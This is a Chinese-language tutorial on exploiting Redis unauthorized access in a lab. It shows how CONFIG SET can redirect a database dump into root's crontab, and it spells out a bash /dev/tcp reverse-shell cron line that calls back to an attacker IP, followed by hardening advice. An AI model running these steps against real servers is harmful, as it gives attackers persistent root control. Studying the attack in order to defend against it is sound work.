在当今的网络安全攻防对抗中,数据库服务的安全配置是至关重要的一环。Redis,作为一款高性能的内存数据库,因其默认开放端口和可能存在的无密码认证配置,常常成为攻击者的首要目标。本文将深入探讨 Redis未授权访问漏洞,并详细演示如何通过写入Linux计划任务(crontab)来实现反弹Shell,帮助开发者和运维人员深刻理解此漏洞的危害性,并采取有效措施进行防范。

核心摘要: 当Redis以root权限运行且未设置密码时,攻击者可利用其
CONFIG SET命令动态修改数据存储路径(dir)和文件名(dbfilename),进而将恶意代码写入系统关键位置。本文重点介绍“写入计划任务”这一经典攻击手法,实现对目标服务器的持久化控制。
漏洞成因与危害
1.1 什么是Redis未授权访问?
Redis默认监听在 0.0.0.0:6379 端口。如果管理员没有进行以下安全加固:
未绑定特定IP:未通过
bind配置项限制只允许内网或可信IP访问。未设置密码认证:未在
redis.conf中配置requirepass选项。
就会导致Redis服务直接暴露在公网或内网中,任何能够连接到该端口的用户都可以无需密码地执行任意Redis命令,从而获得对Redis实例的完全控制权。
1.2 漏洞影响范围
影响版本: Redis 2.x, 3.x, 4.x, 5.x (高版本若配置不当依然存在风险)
必要条件:
Redis服务存在未授权访问或弱密码。
Redis服务以root权限启动(这是获取高权限Shell的关键)。
目标服务器开启了SSH服务(对于某些利用方式是必需的)。
一旦满足条件,攻击者即可通过多种方式GetShell,包括:
写入WebShell: 知道网站绝对路径后,将一句话木马写入Web目录。
写入SSH公钥: 将攻击者的公钥写入
/root/.ssh/authorized_keys,实现免密登录。写入计划任务(Crontab): 利用系统的定时任务功能,定期执行反弹Shell指令。
本文将聚焦于第三种方法——写入计划任务反弹Shell,因为它不依赖于已知的网站路径,适用性更广。
攻击原理:利用Crontab实现反弹
Linux系统的crontab用于周期性地执行指定任务。每个用户的计划任务都存储在 /var/spool/cron/ 目录下,对应文件名为用户名(如root用户的任务文件为 /var/spool/cron/root)。
攻击思路:
攻击者连接到未授权的Redis服务。
使用
CONFIG SET dir /var/spool/cron/命令,将Redis的数据备份目录修改为root用户的crontab目录。使用
CONFIG SET dbfilename root命令,将备份的文件名设置为root。向Redis中写入一个键值对,其值(value)包含一条能反弹Shell的Bash命令,并通过换行符确保格式正确。
执行
SAVE或BGSAVE命令,强制Redis将当前数据(即我们写入的键值)序列化保存到指定路径的文件中。这样,我们的恶意命令就成功写入了
/var/spool/cron/root文件,成为root用户的定时任务。等待系统cron守护进程按计划执行该任务,攻击者即可在监听端口上收到反弹回来的root权限Shell。
实战演练:从0到1获取Shell
环境准备
靶机 (Victim): CentOS 7.6,已安装并以root身份启动Redis服务(
redis-server /etc/redis.conf),未设置密码。攻击机 (Attacker): Kali Linux,IP地址为
192.168.1.100。工具:
redis-cli,nc(netcat)。
攻击步骤
步骤1:确认漏洞存在
在Kali攻击机上,使用redis-cli连接靶机的6379端口。
如果连接成功且可以直接执行命令(如 INFO),则说明存在未授权访问漏洞。
步骤2:配置Redis写入路径
我们需要将Redis的持久化文件输出到root用户的crontab目录。
步骤3:写入反弹Shell的定时任务
接下来,我们将构造一条能每分钟执行一次的反弹Shell命令,并将其写入Redis。
命令解析:
\n\n\n: 添加多个换行符,确保我们的任务不会与其他现有任务粘连,保证cron语法正确。* * * * *: cron时间表达式,表示每分钟执行一次。/bin/bash -i >& /dev/tcp/192.168.1.100/9999 0>&1: 这是核心的反弹Shell命令。/bin/bash -i: 启动一个交互式的Bash Shell。>& /dev/tcp/192.168.1.100/9999: 将Shell的标准输出和标准错误重定向到攻击机的9999端口。0>&1: 将标准输入也重定向过来,实现完整的交互。
步骤4:强制保存并等待连接
执行SAVE命令,强制Redis将内存中的数据同步到磁盘文件 /var/spool/cron/root 中。
此时,我们的恶意任务已经写入系统。
步骤5:在攻击机上监听端口
在Kali攻击机上,使用netcat监听9999端口,等待Shell连接。
稍等片刻(最多一分钟),如果一切顺利,你将在Kali的终端上看到来自CentOS靶机的root Shell提示符!这意味着你已经完全控制了这台服务器。
安全加固建议
了解攻击手法是为了更好地防御。以下是针对Redis未授权访问漏洞的加固措施:
设置强密码: 在
redis.conf中配置requirepass your_strong_password。限制网络访问:
修改
bind配置项,只绑定内网IP,例如bind 127.0.0.1 192.168.1.10。在服务器防火墙(如iptables, firewalld)中,仅允许特定IP访问6379端口。
避免以root权限运行: 创建专用的低权限用户来运行Redis服务。
修改默认端口: 虽然不能从根本上解决问题,但可以增加扫描难度。
禁用危险命令: 在
redis.conf中使用rename-command指令重命名或禁用CONFIG,FLUSHALL,SHUTDOWN等高危命令。使用SSL/TLS加密: 对于需要公网访问的场景,启用传输层加密。
定期审计与监控: 监控Redis的日志和系统计划任务文件,及时发现异常。
Redis未授权访问是一个典型的“低级错误导致严重后果”的安全案例。一个简单的配置疏忽,就可能让整个服务器沦陷。作为开发者和运维人员,我们必须时刻保持警惕,遵循最小权限原则,对每一个对外服务进行严格的安全评估。希望本文的实践分析能让你对此类漏洞有更直观的认识,从而在实际工作中构建更安全的系统环境。
记住:最好的防御,就是永远不要给攻击者留下可乘之机。





















